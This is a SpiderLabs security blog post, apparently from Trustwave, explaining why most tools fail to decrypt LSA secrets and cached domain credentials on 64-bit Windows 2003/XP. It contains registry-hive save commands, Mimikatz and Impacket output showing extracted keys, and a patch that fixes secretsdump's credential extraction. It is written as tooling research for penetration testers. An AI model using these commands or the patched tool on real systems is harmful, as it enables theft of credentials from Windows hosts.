Trustwave Rapid Response: CrowdStrike Falcon Outage Update. Learn More

Trustwave Rapid Response: CrowdStrike Falcon Outage Update. Learn More

Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Dumping LSA Secrets on NT5 x64

The Bug

On the x64 version of Windows 2003 or XP (kernel 5.2), almost every tool fails to dump the LSA secrets and the domain cached credentials. Not sure why this has never been picked up before...

C:\>systeminfo | findstr /r /c:"^OS Version:" /c:"^System Type:"
OS Version: 5.2.3790 Service Pack 2 Build 3790
System Type: x64-based PC
C:\>reg save hklm\security z:\w2k3r2x64\
C:\>reg save hklm\system z:\w2k3r2x64\

Using the latest version of Impacket's (svn r1389), we get a decryption error:

$ python impacket/examples/ -system ./ -security ./ LOCAL
Impacket v0.9.13-dev - Copyright 2002-2015 Core Security Technologies

[*] Target system bootKey: 0x5272bccbeb751023c3ce8cf7c7ec9413
[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)
[*] Dumping LSA Secrets
[!] Input strings must be a multiple of 8 in length
[*] Cleaning up...

Same bug with Metasploit, when parsing the registry live, directly on the host:

meterpreter > run post/windows/gather/lsa_secrets 

[*] Executing module against BLAH2K3
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] XP or below system
[-] Post failed: OpenSSL::Cipher::CipherError data not multiple of block length
[-] Call stack:
[-] /home/seb/tools/exploit/metasploit-framework/lib/msf/core/post/windows/priv.rb:354:in `final'
[-] /home/seb/tools/exploit/metasploit-framework/lib/msf/core/post/windows/priv.rb:354:in `block in decrypt_secret_data'
[-] /home/seb/tools/exploit/metasploit-framework/lib/msf/core/post/windows/priv.rb:345:in `each'
[-] /home/seb/tools/exploit/metasploit-framework/lib/msf/core/post/windows/priv.rb:345:in `decrypt_secret_data'
[-] /home/seb/tools/exploit/metasploit-framework/modules/post/windows/gather/lsa_secrets.rb:63:in `block (2 levels) in get_secret'
[-] /home/seb/tools/exploit/metasploit-framework/modules/post/windows/gather/lsa_secrets.rb:46:in `each'
[-] /home/seb/tools/exploit/metasploit-framework/modules/post/windows/gather/lsa_secrets.rb:46:in `block in get_secret'
[-] /home/seb/tools/exploit/metasploit-framework/modules/post/windows/gather/lsa_secrets.rb:42:in `each'
[-] /home/seb/tools/exploit/metasploit-framework/modules/post/windows/gather/lsa_secrets.rb:42:in `get_secret'
[-] /home/seb/tools/exploit/metasploit-framework/modules/post/windows/gather/lsa_secrets.rb:111:in `run'

However Mimikatz will work nicely:

mimikatz # lsadump::secrets z:\w2k3r2x64\ z:\w2k3r2x64\
Domain : BLAH2K3
SysKey : 5272bccbeb751023c3ce8cf7c7ec9413

Policy subsystem is : 1.7
LSA Key : 02e5d2269c0423de06bdbfff76c002d2

Secret : D6318AF1-462A-48C7-B6D9-ABB7CCD7975E-SRV
cur/hex : a8 fd 4f ac 04 34 d3 48 bb 0f 01 68 89 f6 60 d8

cur/hex : 01 00 00 00 de 58 e1 db 8a 76 c1 da f7 0e 49 76 37 8f b4 a2 ec 64 d6 47 e0 9a f9 ba 88 23 44 cd e4 86 8f ad f8 8b 01 9c e8 e4 cf c7


Mimikatz works because it properly extracts the encrypted value of the LSA secret before decrypting it. Whereas the other tools do not extract the right amount of ciphertext and therefore fail at decrypting the secret.

Mimikatz simply reads the first 4 bytes of the LSA secret binary blob (in Policy\Secrets\secretname\CurrValue) to get the correct size of the encrypted secret:

717: key.Buffer = lsaKeyUnique->key;
718: data.Length = data.MaximumLength = ((PNT5_HARD_SECRET) secret)->encryptedStructSize;
719: data.Buffer = (PBYTE) secret + szSecret - data.Length; // dirty hack to not extract x64/x86 from REG ; // ((PNT5_HARD_SECRET) secret)->encryptedSecret;

Benjamin calls it a dirty hack because he reckons they probably just use their own structures at Microsoft. However simply using the size information was an easy shortcut for him and allows mimikatz to be able to parse x64 hives on a x86 system and vice versa.

Surprisingly the other tools do not look at the size information and have all assumed that the encrypted secret starts at offset 0xC in the blob, which is correct on x86 but not on x64.

For example, let's have a look at the DPAPI_SYSTEM secret. On x86 the encrypted secret starts at 0xC indeed (0x44-0x38):

However on x64, the encrypted secret starts at 0xF (0x48-0x38):

As these tools are not able to properly decrypt the LSA secrets, they are not able to dump the Domain Cached Credentials either because on NT5, each DCC is encrypted with the LSA secret NL$KM (stored in Policy\Secrets\NL$KM).

The 0xC offset

I looked at the source code of a lot of other tools and they all use the same offset. The earliest reference to this offset seems to come from a program called x_dialupass2.cpp published in October 2004:

LSADataIn.pbData = (BYTE *)Data + 0xC;  //密文从第0xC位开始 << translates to "ciphertext at 0xC from start"
LSADataIn.cbData = dwSize-0xC;
LSADataIn.cbMaxData = LSADataIn.cbData;

This offset might have been borrowed from someone else's research though. The google-translated Chinese isn't very clear and mentions some demo code from a Russian forum which no longer exists.

The x_dialupass2.cpp program simply scans the memory of lsass.exe to extract the LSA key, then for each LSA secret in the registry, it reads the encrypted secret at offset 0xC and calls advapi.dll:SystemFunction005 to decrypt the secret with the LSA key (no one could figure out the decryption algorithm at the time).

A year later, the program CacheDump copied the code of x_dialupass2 to dump the domain cached credentials. The approach becomes: scan lsass.exe to extract the LSA key, read the encrypted NL$KM secret at offset 0xC, call advapi.dll:SystemFunction005 to decrypt NL$KM and use it to decrypt every DCC.

Since then, the 0xC offset has been carried into every subsequent tool.

Affected tools

I've compiled a list of tools that are unable to dump the LSA secrets and/or the DCC on NT5 x64.

I've found this 0xC offset in all of the open-source tools. For the two closed-source tools, Cain & Abel and Nirsoft's lsa_secrets_view, they must be using this offset as well because they don't work either.

In chronological order:

Tools not affected:

On the other hand, tools that use DLL injection into lsass are not affected because they call LsarQuerySecret of lsasrv.dll or LsaRetrievePrivateData of advapi32.dll to obtain the LSA secrets unencrypted:


I was able to reproduce this issue on Windows 5.2.3790 (2003 or XP). Note that starting with Vista (NT6), LSA secrets are decrypted in a different manner (no offset needed anymore), so you should have only experienced this bug on Windows 2003 & XP. Although again, I couldn't find any past discussion about it.

Here is a patch for secretsdump that fixes this issue:

---      (revision 1389)
+++ (working copy)
@@ -821,6 +821,10 @@
def __decryptSecret(self, key, value):
# [MS-LSAD] Section 5.1.2
plainText = ''
+ encryptedSecretSize = unpack('<I', value[:4])[0]
+ value = value[len(value)-encryptedSecretSize:]
key0 = key
for i in range(0, len(value), 8):
cipherText = value[:8]
@@ -890,7 +894,7 @@
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
self.__NKLMKey = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
- self.__NKLMKey = self.__decryptSecret(self.__LSAKey,value[1][0xc:])
+ self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])

def __pad(self, data):
if (data & 0x3) > 0:
@@ -1055,7 +1059,7 @@
record = LSA_SECRET_BLOB(plainText)
secret = record['Secret']
- secret = self.__decryptSecret(self.__LSAKey,value[1][0xc:])
+ secret = self.__decryptSecret(self.__LSAKey, value[1])

self.__printSecret(key, secret)

Reach me at @lanjelot for more intel. Thanks for reading!

Latest SpiderLabs Blogs

Cloudy with a Chance of Hackers: Protecting Critical Cloud Workloads

If you've been following along with David's posts, you'll have noticed a structure to the topics: Part I: The Plan, Part II: The Execution and now we move into Part III: Security Operations. Things...

Read More

Trustwave Rapid Response: CrowdStrike Falcon Outage Update

Trustwave is proactively assessing and monitoring our clients who may have been impacted by CrowdStrike’s recently rolled-out update for its Windows users. The critical issue identified with...

Read More

Using AWS Secrets Manager and Lambda Function to Store, Rotate and Secure Keys

When working with Amazon Web Services (AWS), we often find that various AWS services need to store and manage secrets. AWS Secrets Manager is the go-to solution for this. It's a centralized service...

Read More